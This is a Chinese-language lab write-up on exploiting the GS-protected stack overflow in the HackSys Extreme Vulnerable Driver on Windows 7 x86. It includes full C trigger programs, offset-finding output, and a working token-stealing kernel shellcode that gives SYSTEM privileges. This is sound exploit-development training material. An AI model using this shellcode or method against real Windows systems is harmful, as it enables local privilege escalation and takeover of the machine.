作者:selph
前言
窥探Ring0漏洞世界:缓冲区溢出之突破GS保护
实验环境:
•虚拟机:Windows 7 x86
•物理机:Windows 10 x64
•软件:IDA,Windbg,VS2022
漏洞分析
本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)
首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowGSStackIoctlHandler和TriggerBufferOverflowStackGS,跟上一篇一样,前者是分发程序,后者是漏洞程序
从IDA的F5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用,和上一例完全一样
int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size)
{
unsigned __int8 KernelBuffer[512]; // [esp+14h] [ebp-21Ch] BYREF
CPPEH_RECORD ms_exc; // [esp+218h] [ebp-18h]
memset(KernelBuffer, 0, sizeof(KernelBuffer));
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x200u, 1u);
_DbgPrintEx(0x4Du, 3u, “[+] UserBuffer: 0x%p\n”, UserBuffer);
_DbgPrintEx(0x4Du, 3u, “[+] UserBuffer Size: 0x%zX\n”, Size);
_DbgPrintEx(0x4Du, 3u, “[+] KernelBuffer: 0x%p\n”, KernelBuffer);
_DbgPrintEx(0x4Du, 3u, “[+] KernelBuffer Size: 0x%zX\n”, 0x200u);
_DbgPrintEx(0x4Du, 3u, “[+] Triggering Buffer Overflow in Stack (GS)\n”);
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}
交叉引用查看调用处:依然跟上次一样
int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int v2; // ecx
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx
v2 = -1073741823;
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
if ( Parameters )
return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options);
return v2;
}
接着往上走,找到控制码,这里调用处前面的标号是$LN6
查看前面的跳转表:
可以看到,这里是按顺序排的,这里eax只要等于1即可跳转过来
根据上例可知,eax=0,需要的输入是0x00222003,查看eax是怎么来的:
是通过这个索引获取的,所以这里eax得是比上次多4,所以这次使用的控制码是:0x222007
漏洞利用
突破GS拿到程序控制权
GS保护机制简介:开启了GS保护,会在函数开始的时候用ebp对随机值进行异或,然后保存,在函数结束的时候进行检查,再次异或查看随机值是否与之前一致,如果一致则通过GS检查,不一致则进入另外的程序流程
常规的绕过GS保护的方式就有利用虚函数或者SEH进行突破,无论是这两个的哪一种,都可以在GS检查之前把程序给劫持走
所以对于突破GS保护,只需要通过生成随机序列,然后看程序会跳转到随机序列的哪里,就可以判断在哪里可以劫持程序执行流程了
使用kali的pattern_create.rb进行生成:
┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
构建测试程序:
#include
#include
char *shellcode = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”;
int shellcodeLength = strlen(shellcode);
int main()
{
HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE) {
printf(“[ERROR]Open Device Error\r\n”);
system(“pause”);
exit(1);
}
else {
printf(“[INFO]Device Handle: 0x%X\n”, hDevice);
}
ULONG WriteRet = 0;
DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);
return 0;
}
很快,就看到程序报错了,查看寄存器:
Access violation - code c0000005 (!!! second chance !!!)
73413173 ?? ???
kd> r
eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8
eip=73413173 esp=9745bae0 ebp=41307341 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
73413173 ?? ???
eip指向了73413173这个值,通过pattern_offset.rb进行判断该值的位置:
┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_offset.rb -q 73413173 -l 1000
[*] Exact match at offset 544
偏移在544的位置,修改测试代码再次尝试:
#include
#include
int main()
{
ULONG UserBufferSize = 544+4;
HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE) {
printf(“[ERROR]Open Device Error\r\n”);
system(“pause”);
exit(1);
}
else {
printf(“[INFO]Device Handle: 0x%X\n”, hDevice);
}
PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
if (!UserBuffer) {
printf(“[ERROR]Allocate ERROR”);
system(“pause”);
exit(1);
}
else {
printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
}
RtlFillMemory(UserBuffer, UserBufferSize, 0x41);
PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));
*(PULONG)MemoryAddress = (ULONG)0x66666666;
ULONG WriteRet = 0;
DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
return 0;
}
抛出异常:
Access violation - code c0000005 (!!! second chance !!!)
66666666 ?? ???
kd> r
eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158
eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
66666666 ?? ???
成功找到溢出控制点,接下来构造shellcode进行跳转即可
构造shellcode
这次继续分析上次shellcode最后结尾的返回是怎么回事,还是用上次的那个shellcode,在前面加一个0xcc来下断:
示例shellcode:
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
__emit 0cch
pushad
;获取当前进程EPROCESS
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]
mov ecx, eax
;搜索system进程EPROCESS
mov edx, SYSTEM_PID
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID
;token窃取
mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx
;环境还原+返回
popad
xor eax, eax
add esp, 12
pop ebp
ret 8
}
}
这里功能执行部分没啥问题,也不会对栈进行操作产生影响,内核里执行shellcode执行完一定要能正常返回回去,现在运行到断点查看调用堆栈信息:
kd> k
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 92031ae0 928f70ea 0x1f1043
01 92031afc 83e83593 HEVD!IrpDeviceIoCtlHandler+0x86
02 92031b14 8407799f nt!IofCallDriver+0x63
03 92031b34 8407ab71 nt!IopSynchronousServiceTail+0x1f8
04 92031bd0 840c13f4 nt!IopXxxControlFile+0x6aa
05 92031c04 83e8a1ea nt!NtDeviceIoControlFile+0x2a
可以看到,当前执行到shellcode里,上一层返回是HEVD!IrpDeviceIoCtlHandler+0x86,因为我们没有使用1000字节的那个shellcode而是重新构建了刚好大小的shellcode进行覆盖,所以这里不会影响到后面的调用栈信息,所以这里我们只需要返回到上一层就行
返回到上一层需要恢复栈成为刚刚从函数里返回的样子,正常情况下函数返回到这里进行的操作:
PAGE:004452C8 loc_4452C8: ; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x)+13↑j
PAGE:004452C8 8B C1 mov eax, ecx
PAGE:004452CA 5D pop ebp
PAGE:004452CB C2 08 00 retn 8
eax里保存一个返回值,弹出原本的ebp,retn 8
也就是说,这里返回之前的esp里本应该装有原来的ebp才行,所以需要对esp进行修复,把ebp入栈保存的操作是在函数开始的时候做的,查看栈信息:
kd> dds esp
92031ad48855a4d0
92031ad8 83f11087 nt!DbgPrintEx
92031adc 8855a540
92031ae0 92031afc
92031ae4 928f70ea HEVD!IrpDeviceIoCtlHandler+0x86 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283]
92031ae8 8855a4d0
92031aec 8855a540
92031af0 86671350
call指令的作用是入栈返回地址+跳转到函数内,所以这里在进入函数之前esp = 92031ae4,然后进行的操作:
PAGE:004452AA 55 push ebp
PAGE:004452AB 8B EC mov ebp, esp
第一件事就是push ebp,所以这里92031ae0地址保存的就是ebp,这里只需要把esp的为止恢复到该位置即可
所以要做的操作就是:add esp, 0xc
获取System权限
提权后执行的操作:
system(“pause”);
system(“cmd.exe”);
截图演示:
参考资料
•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
•[2] 探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com) https://www.kn0sky.com/?p=66
•[3] 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客 https://blog.csdn.net/l1028386804/article/details/86494568
•[4] HEVD Stack Overflow GS (klue.github.io) https://klue.github.io/blog/2017/09/hevd_stack_gs/?msclkid=9bb65ef4cf4a11ec8dd20f19f6cc758c